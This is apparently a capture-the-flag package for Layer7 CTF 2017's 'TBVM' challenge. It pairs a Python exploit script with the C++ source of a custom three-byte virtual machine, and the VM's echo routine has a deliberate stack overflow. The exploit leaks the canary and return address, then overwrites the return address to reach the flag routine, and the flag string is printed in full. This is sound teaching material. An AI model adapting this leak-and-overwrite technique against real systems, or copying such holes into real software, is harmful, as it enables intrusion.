2017 Layer7 CTF TBVM - Code Virtualized Protection based on Three Bytes System

exploit.py

import re
import sys
from socket import *
from time import sleep

sock = socket(AF_INET, SOCK_STREAM)
sock.connect(('ctf.layer7.kr', 9001))

sock.send(b'abcdefghi\n')
sleep(0.5)

print(sock.recv(4092).decode(errors='replace'))

sock.send(b'a' * 29 + b'\n')
sleep(0.5)

leak = sock.recv(4092)
print(leak.decode(errors='replace'))

regex = re.compile(b'a{29}\n([^\n]*)\n')
leak = regex.findall(leak)[0]

if len(leak) < 9:
	print('not enough leak')
	sys.exit(1)

tb = lambda x: x[0] + (x[1] << 8) + (x[2] << 16)

canary = leak[:3]
sfp = leak[3:6]
ret = leak[6:9]

print('info leak : canary={} / sfp={} / ret={}'.format(
	hex(tb(canary)), hex(tb(sfp)), hex(tb(ret))))

ret = tb(ret) + 81
ret = [ret & 0xFF, (ret >> 8) & 0xFF, (ret >> 16) & 0xFF]
ret = bytearray(ret)

sock.send(b'a' * 30 + canary + sfp + ret + b'\x56\x34\x00\x56\x00\x12\x00\x34\x12\n')
sleep(0.5)

print(sock.recv(4096).decode(errors='replace'))

ThreeByteVM.cpp

#define LINUX
#define DEBUG

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#ifdef WIN
#include <Windows.h>
#endif

#ifdef LINUX
#include <unistd.h>
#endif

///////////////////////////////////////////////////////////////////////////////
// Definition

#define SYS_UNIT 3
#define TEXT_SIZE 0x100000
#define STACK_SIZE 0x100000
#define STACK_DEFAULT 0x10000

typedef char CHAR;
typedef long LONG;
typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned long DWORD;

struct DefaultType {
	BYTE data[SYS_UNIT];
};

enum Register {
	TAX, TBX, TCX, TDX, TSI, TDI, TSP, TBP, TFLAGS, TIP, TMP, NumRegister
};

enum Flags {
	CMP_ZERO, CMP_LOW, CMP_HIGH
};

struct RegisterBlock {
	DefaultType block[NumRegister];
};

struct MemoryBlock {
	BYTE text[TEXT_SIZE];
	BYTE stack[STACK_SIZE];
};

struct OperatorInfo {
	BYTE opType2 : 3;
	BYTE opType1 : 3;
	BYTE refSize : 2;
};

enum OperandType {
	Reg, RefReg, Const, RefConst
};

struct SingleOperand {
	DWORD operand;
	DWORD tip;
};

struct OperandPair {
	BYTE type;
	union {
		BYTE* byte;
		DefaultType* dtype;
	} operand1;

	DWORD operand2;
	DWORD tip;
};

///////////////////////////////////////////////////////////////////////////////
// Three Bytes System Function

DWORD ReadThree(BYTE *mem) {
	return (mem[2] << 16) + *(WORD *)&mem[0];
}

DWORD WriteThree(BYTE *mem, DWORD num) {
	*(WORD *)&mem[0] = num & 0xFFFF;
	mem[2] = (num >> 16) & 0xFF;

	return num & 0xFFFFFF;
}

DWORD SysRead(DefaultType& mem) {
	return ReadThree(mem.data);
}

DWORD SysWrite(DefaultType& mem, DWORD num) {
	return WriteThree(mem.data, num);
}

DWORD SysAdd(DefaultType& mem, LONG num) {
	DWORD cur = SysRead(mem);
	return SysWrite(mem, cur + num);
}

LONG SysLong(DWORD num) {
	if (num == (num & 0xFF)) {
		return (CHAR)num;
	}
	else if (num & (1 << 23)) {
		return 0xFF000000 + num;
	}
	else {
		return num;
	}
}

///////////////////////////////////////////////////////////////////////////////
// Virtual Asm

typedef DWORD(*VmAsm)(MemoryBlock& mem, RegisterBlock& reg);

SingleOperand ParseSingleOperand(MemoryBlock& mem, RegisterBlock& reg) {
	DWORD tip = SysRead(reg.block[TIP]) + 1;

	OperatorInfo opinfo = *(OperatorInfo *)&mem.text[tip++];
	BYTE refSize = opinfo.refSize ? SYS_UNIT : 1;

	DWORD num = 0, ref = 0;

	switch (opinfo.opType1) {
	case Reg:
		num = SysRead(reg.block[mem.text[tip++]]);
		break;
	case RefReg:
		ref = SysRead(reg.block[mem.text[tip++]]);
		num = ReadThree(&mem.stack[ref]);
		break;
	case Const:
		if (refSize == SYS_UNIT)
			num = ReadThree(&mem.text[tip]);
		else
			num = mem.text[tip];
		tip += refSize;
		break;
	case RefConst:
		if (refSize == SYS_UNIT)
			ref = ReadThree(&mem.text[tip]);
		else
			ref = mem.text[tip];

		num = ReadThree(&mem.stack[ref]);
		tip += refSize;
		break;
	}

	SingleOperand op = { num, tip };
	return op;
}

OperandPair ParseOperandPair(MemoryBlock& mem, RegisterBlock& reg) {
	DWORD tip = SysRead(reg.block[TIP]) + 1;

	OperatorInfo opinfo = *(OperatorInfo *)&mem.text[tip++];
	BYTE refSize = opinfo.refSize ? SYS_UNIT : 1;

	DWORD num = 0, ref = 0;

	BYTE type = -1;
	BYTE *byte = NULL;
	DefaultType *dtype = NULL;

	switch (opinfo.opType1) {
	case Reg:
		dtype = &reg.block[mem.text[tip++]];
		type = 1;
		break;
	case RefReg:
		ref = SysRead(reg.block[mem.text[tip++]]);
		byte = &mem.stack[ref];
		type = 0;
		break;
	case Const:
		break;
	case RefConst:
		if (refSize == SYS_UNIT)
			ref = ReadThree(&mem.text[tip]);
		else
			ref = mem.text[tip];

		byte = &mem.stack[ref];
		tip += refSize;
		type = 0;
		break;
	}

	switch (opinfo.opType2) {
	case Reg:
		num = SysRead(reg.block[mem.text[tip++]]);
		break;
	case RefReg:
		ref = SysRead(reg.block[mem.text[tip++]]);
		num = ReadThree(&mem.stack[ref]);
		break;
	case Const:
		if (refSize == SYS_UNIT)
			num = ReadThree(&mem.text[tip]);
		else
			num = mem.text[tip];
		tip += refSize;
		break;
	case RefConst:
		if (refSize == SYS_UNIT)
			ref = ReadThree(&mem.text[tip]);
		else
			ref = mem.text[tip];

		num = ReadThree(&mem.stack[ref]);
		tip += refSize;
		break;
	}

	OperandPair pair = { type, { byte }, num, tip };
	if (type)
		pair.operand1.dtype = dtype;

	return pair;
}

DWORD push(MemoryBlock& mem, RegisterBlock& reg) {
	DWORD tsp = SysRead(reg.block[TSP]) - SYS_UNIT;
	SingleOperand op = ParseSingleOperand(mem, reg);

	WriteThree(&mem.stack[tsp], op.operand);
	SysWrite(reg.block[TIP], op.tip);
	SysWrite(reg.block[TSP], tsp);

#ifdef DEBUG
	printf(
		"[*] push - TSP : 0x%06X / PUSH : 0x%06X / TIP : %d\n",
		SysRead(reg.block[TSP]),
		ReadThree(&mem.stack[tsp]),
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD pop(MemoryBlock& mem, RegisterBlock& reg) {
	DWORD tip = SysRead(reg.block[TIP]) + 1;
	DWORD tsp = SysRead(reg.block[TSP]);

	DWORD num = ReadThree(&mem.stack[tsp]);
	SysWrite(reg.block[mem.text[tip]], num);

	SysWrite(reg.block[TIP], tip + 1);
	SysWrite(reg.block[TSP], tsp + SYS_UNIT);

#ifdef DEBUG
	printf(
		"[*] pop - TSP : 0x%06X / POP : 0x%06X / TIP : %d\n",
		SysRead(reg.block[TSP]),
		num,
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD mov(MemoryBlock& mem, RegisterBlock& reg) {
	OperandPair pair = ParseOperandPair(mem, reg);

	if (pair.type)
		SysWrite(*pair.operand1.dtype, pair.operand2);
	else
		WriteThree(pair.operand1.byte, pair.operand2);

	SysWrite(reg.block[TIP], pair.tip);

#ifdef DEBUG
	printf(
		"[*] mov - MOV : 0x%06X / TIP : %d\n",
		pair.operand2,
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD add(MemoryBlock& mem, RegisterBlock& reg) {
	OperandPair pair = ParseOperandPair(mem, reg);

	LONG res = 0;
	DWORD operand1 = 0;
	if (pair.type)
		res = SysAdd(*pair.operand1.dtype, pair.operand2);
	else {
		operand1 = ReadThree(pair.operand1.byte);
		res = WriteThree(pair.operand1.byte, operand1 + pair.operand2);
	}

	SysWrite(reg.block[TIP], pair.tip);

#ifdef DEBUG
	printf(
		"[*] add - OBJ : 0x%06X / NUM : 0x%06X / ADD : 0x%06X / TIP : %d\n",
		res - pair.operand2,
		pair.operand2,
		res,
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD sub(MemoryBlock& mem, RegisterBlock& reg) {
	OperandPair pair = ParseOperandPair(mem, reg);

	LONG res = 0;
	DWORD operand1 = 0;
	if (pair.type)
		res = SysAdd(*pair.operand1.dtype, -1 * pair.operand2);
	else {
		operand1 = ReadThree(pair.operand1.byte);
		res = WriteThree(pair.operand1.byte, operand1 - pair.operand2);
	}

	SysWrite(reg.block[TIP], pair.tip);

#ifdef DEBUG
	printf(
		"[*] sub - OBJ : 0x%06X / NUM : 0x%06X / SUB : 0x%06X / TIP : %d\n",
		res + pair.operand2,
		pair.operand2,
		res,
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD cmp(MemoryBlock& mem, RegisterBlock& reg) {
	OperandPair pair = ParseOperandPair(mem, reg);

	DWORD flag = -1;
	DWORD operand1 = 0;

	if (pair.type)
		operand1 = SysRead(*pair.operand1.dtype);
	else
		operand1 = ReadThree(pair.operand1.byte);

	LONG res = operand1 - pair.operand2;

	if (res < 0)
		flag = CMP_LOW;
	else if (res > 0)
		flag = CMP_HIGH;
	else
		flag = CMP_ZERO;

	SysWrite(reg.block[TFLAGS], flag);
	SysWrite(reg.block[TIP], pair.tip);

#ifdef DEBUG
	printf(
		"[*] cmp - LEFT : 0x%06X / RIGHT : 0x%06X / FLAG : 0x%06X / TIP : %d\n",
		operand1,
		pair.operand2,
		flag,
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD jmp(MemoryBlock& mem, RegisterBlock& reg) {
	SingleOperand op = ParseSingleOperand(mem, reg);
	SysAdd(reg.block[TIP], SysLong(op.operand));

#ifdef DEBUG
	printf(
		"[*] jmp - OFFSET : 0x%06X / TIP : %d\n",
		op.operand,
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD jz(MemoryBlock& mem, RegisterBlock& reg) {
	SingleOperand op = ParseSingleOperand(mem, reg);

	if (SysRead(reg.block[TFLAGS]) == CMP_ZERO) {
		SysAdd(reg.block[TIP], SysLong(op.operand));
	}
	else {
		SysWrite(reg.block[TIP], op.tip);
	}

#ifdef DEBUG
	printf(
		"[*] jz - OFFSET : 0x%06X / FLAG : 0x%06X / TIP : %d\n",
		op.operand,
		SysRead(reg.block[TFLAGS]),
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD jnz(MemoryBlock& mem, RegisterBlock& reg) {
	SingleOperand op = ParseSingleOperand(mem, reg);

	if (SysRead(reg.block[TFLAGS]) != CMP_ZERO) {
		SysAdd(reg.block[TIP], SysLong(op.operand));
	}
	else {
		SysWrite(reg.block[TIP], op.tip);
	}

#ifdef DEBUG
	printf(
		"[*] jnz - OFFSET : 0x%06X / FLAG : 0x%06X / TIP : %d\n",
		op.operand,
		SysRead(reg.block[TFLAGS]),
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD jle(MemoryBlock& mem, RegisterBlock& reg) {
	SingleOperand op = ParseSingleOperand(mem, reg);

	if (SysRead(reg.block[TFLAGS]) != CMP_HIGH) {
		SysAdd(reg.block[TIP], SysLong(op.operand));
	}
	else {
		SysWrite(reg.block[TIP], op.tip);
	}

#ifdef DEBUG
	printf(
		"[*] jle - OFFSET : 0x%06X / FLAG : 0x%06X / TIP : %d\n",
		op.operand,
		SysRead(reg.block[TFLAGS]),
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD call(MemoryBlock& mem, RegisterBlock& reg) {
	SingleOperand op = ParseSingleOperand(mem, reg);

	DWORD tsp = SysRead(reg.block[TSP]) - SYS_UNIT;
	WriteThree(&mem.stack[tsp], op.tip);
	SysAdd(reg.block[TIP], SysLong(op.operand));
	SysWrite(reg.block[TSP], tsp);

#ifdef DEBUG
	printf(
		"[*] call - OFFSET : 0x%06X / RET : %d / TIP : %d\n",
		op.operand,
		op.tip,
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD retn(MemoryBlock& mem, RegisterBlock& reg) {
	DWORD tsp = SysRead(reg.block[TSP]);
	SysWrite(reg.block[TIP], ReadThree(&mem.stack[tsp]));
	SysWrite(reg.block[TSP], tsp + SYS_UNIT);

#ifdef DEBUG
	printf(
		"[*] retn - RET : %d\n",
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD nop(MemoryBlock& mem, RegisterBlock& reg) {
#ifdef DEBUG
	printf("[*] nop\n");
#endif
	return 0;
}

DWORD end(MemoryBlock& mem, RegisterBlock& reg) {
#ifdef DEBUG
	printf("[*] end\n");
#endif
	return 1;
}

///////////////////////////////////////////////////////////////////////////////
// Additional Asm

DWORD input(MemoryBlock& mem, RegisterBlock& reg) {
	DWORD addr = SysRead(reg.block[TAX]);
	DWORD length = SysRead(reg.block[TBX]);
	CHAR *buffer = (CHAR *)&mem.stack[addr];

#ifdef WIN
	fgets(buffer, length, stdin);
#endif
#ifdef LINUX
	read(0, buffer, length);
#endif

	SysAdd(reg.block[TIP], 1);

#ifdef DEBUG
	printf(
		"[*] input - LENGTH : %d / ADDR : 0x%06X / %s\n",
		length,
		addr,
		buffer
	);
#endif

	return 0;
}

DWORD output(MemoryBlock& mem, RegisterBlock& reg) {
	DWORD addr = SysRead(reg.block[TAX]);
	CHAR *str = (CHAR *)&mem.stack[addr];

#ifdef DEBUG
	printf("[*] output : ");
#endif
	printf("%s\n", str);

	SysAdd(reg.block[TIP], 1);

	return 0;
}

DWORD xor_(MemoryBlock& mem, RegisterBlock& reg) {
	OperandPair pair = ParseOperandPair(mem, reg);

	DWORD res = 0, operand1 = 0;
	if (pair.type) {
		operand1 = SysRead(*pair.operand1.dtype);
		res = SysWrite(*pair.operand1.dtype, operand1 ^ pair.operand2);
	}
	else {
		operand1 = ReadThree(pair.operand1.byte);
		res = WriteThree(pair.operand1.byte, operand1 ^ pair.operand2);
	}

	SysWrite(reg.block[TIP], pair.tip);

#ifdef DEBUG
	printf(
		"[*] xor - OBJ : 0x%06X / NUM : 0x%06X / XOR : 0x%06X / TIP : %d\n",
		operand1,
		pair.operand2,
		res,
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD shl(MemoryBlock& mem, RegisterBlock& reg) {
	OperandPair pair = ParseOperandPair(mem, reg);

	DWORD res = 0, operand1 = 0;
	if (pair.type) {
		operand1 = SysRead(*pair.operand1.dtype);
		res = SysWrite(*pair.operand1.dtype, operand1 << pair.operand2);
	}
	else {
		operand1 = ReadThree(pair.operand1.byte);
		res = WriteThree(pair.operand1.byte, operand1 << pair.operand2);
	}

	SysWrite(reg.block[TIP], pair.tip);

#ifdef DEBUG
	printf(
		"[*] shl - OBJ : 0x%06X / NUM : 0x%06X / SHIFTED : 0x%06X / TIP : %d\n",
		operand1,
		pair.operand2,
		res,
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD bytesum(MemoryBlock& mem, RegisterBlock& reg) {
	OperandPair pair = ParseOperandPair(mem, reg);

	DWORD sum = 0, num = pair.operand2;
	while (num) {
		sum += (num & 0xFF);
		num >>= 8;
	}

	DWORD res = 0;
	if (pair.type)
		res = SysWrite(*pair.operand1.dtype, sum);
	else
		res = WriteThree(pair.operand1.byte, sum);

	SysWrite(reg.block[TIP], pair.tip);

#ifdef DEBUG
	printf(
		"[*] bytesum - NUM : 0x%06X / BYTESUM : 0x%06X / TIP : %d\n",
		pair.operand2,
		res,
		SysRead(reg.block[TIP])
	);
#endif

	return 0;
}

DWORD flag(MemoryBlock& mem, RegisterBlock& reg) {
	DWORD data = SysRead(reg.block[TMP]);

	printf("0x%06X\n", data);
	if (data == 0x123456) {
		printf("flag{AWESOME_THREE_BYTE_REVERSER}");
	}

	SysAdd(reg.block[TIP], 1);

#ifdef DEBUG
	printf(
		"[*] flag - NUM : 0x%06X\n",
		data
	);
#endif

	return 0;
}

///////////////////////////////////////////////////////////////////////////////
// VM Main

DWORD initialize(MemoryBlock& mem, RegisterBlock& reg) {
	DWORD canary = (rand() & 0xFEFFFF) + 0x10000;
	BYTE rawText[] = {
		// main
		0x05, 0x02, 0x06, 0x09, // sub esp, 0x9
		0x03, 0x00, 0x00, 0x06, // mov eax, esp
		0x03, 0x02, 0x01, 0x09, // mov ebx, 0x9
		0x0D,                   // input
		0x0B, 0x10, 0x06,       // call echo
		0x00,                   // end
		0x0F,                   // nop
		0x0F,                   // nop
		// echo
		0x01, 0x00, 0x07,       // push ebp
		0x03, 0x00, 0x07, 0x06, // mov ebp, esp
		0x01, 0x50, 0x00, 0x00, 0x00, // push canary
		0x05, 0x02, 0x06, 0x21, // sub esp, 0x21
		0x03, 0x0A, 0x06, 0x00, // mov [esp], 0
		0x03, 0x00, 0x00, 0x06, // mov eax, esp [*]
		0x04, 0x02, 0x00, 0x03, // add eax, 0x03
		0x03, 0x02, 0x01, 0x30, // mov ebx, 0x30
		0x0D,                   // input
		0x0E,                   // output
		0x03, 0x01, 0x00, 0x06, // mov eax, [esp]
		0x04, 0x02, 0x00, 0x01, // add eax, 0x01
		0x03, 0x08, 0x06, 0x00, // mov [esp], eax
		0x06, 0x02, 0x00, 0x02, // cmp eax, 0x02
		0x0A, 0x10, 0xE2,       // jle [*]
		0x04, 0x02, 0x06, 0x21, // add esp, 0x21
		0x03, 0x01, 0x00, 0x06, // mov eax, [esp]
		0x06, 0x42,	0x00, 0x00, 0x00, 0x00, // cmp eax, canary
		0x09, 0x10, 0x08,       // jnz [**]
		0x02, 0x00,             // pop eax
		0x02, 0x05,             // pop ebp
		0x0C,                   // retn
		0x00,                   // end [**]
		0x0F,                   // nop
		0x0F,                   // nop
		// flag
		0x03, 0x02, 0x01, 0x00, // mov ebx, 0x00
		0x03, 0x02, 0x0A, 0x00, // mov tmp, 0x00
		0x11, 0x02, 0x0A, 0x08, // shl tmp, 0x08 [***]
		0x03, 0x00, 0x00, 0x06, // mov eax, esp
		0x04, 0x00, 0x00, 0x01, // add eax, ebx
		0x03, 0x01, 0x00, 0x00, // mov eax, [eax]
		0x10, 0x42, 0x00, 0x56, 0x34, 0x12, // xor eax, 0x123456
		0x12, 0x00, 0x00, 0x00, // bytesum eax, eax
		0x04, 0x00, 0x0A, 0x00, // add tmp, eax
		0x04, 0x02, 0x01, 0x03, // add ebx, 0x03
		0x06, 0x02, 0x01, 0x06, // cmp ebx, 0x06
		0x0A, 0x10, 0xDA,       // jle [***]
		0x13,                   // flag
		0x00,                   // end
		0xFF };

	WriteThree(&rawText[28], canary);
	WriteThree(&rawText[83], canary);

	DWORD baseAddr = rand() % (TEXT_SIZE - STACK_DEFAULT - sizeof(rawText));
	baseAddr += STACK_DEFAULT;

	SysWrite(reg.block[TSP], baseAddr);
	SysWrite(reg.block[TBP], baseAddr);
	SysWrite(reg.block[TIP], baseAddr);
	SysWrite(reg.block[TFLAGS], 0);

	for (int i = 0; rawText[i] != 0xFF; ++i) {
		mem.text[baseAddr + i] = rawText[i];
	}

#ifdef DEBUG
	printf(
		"[*] init - CANARY : 0x%06X / TSP : 0x%06X / TBP : 0x%06X / TIP : %d / TFLAGS : %d\n",
		canary,
		SysRead(reg.block[TSP]),
		SysRead(reg.block[TBP]),
		SysRead(reg.block[TIP]),
		SysRead(reg.block[TFLAGS])
	);
#endif

	return 0;
}

MemoryBlock mem;
RegisterBlock reg;
VmAsm table[] = { end, push, pop, mov, add, sub, cmp, jmp, jz, jnz, jle, call, retn, input, output, nop, xor_, shl, bytesum, flag };

int main(int argc, char *argv[]) {
	setvbuf(stdout, NULL, _IONBF, NULL);
	srand((unsigned int)time(NULL));
	initialize(mem, reg);

	while (1) {
		DWORD tip = SysRead(reg.block[TIP]);
		DWORD res = table[mem.text[tip]](mem, reg);

		if (res) break;
	}

#ifdef WIN
	system("pause");
#endif
}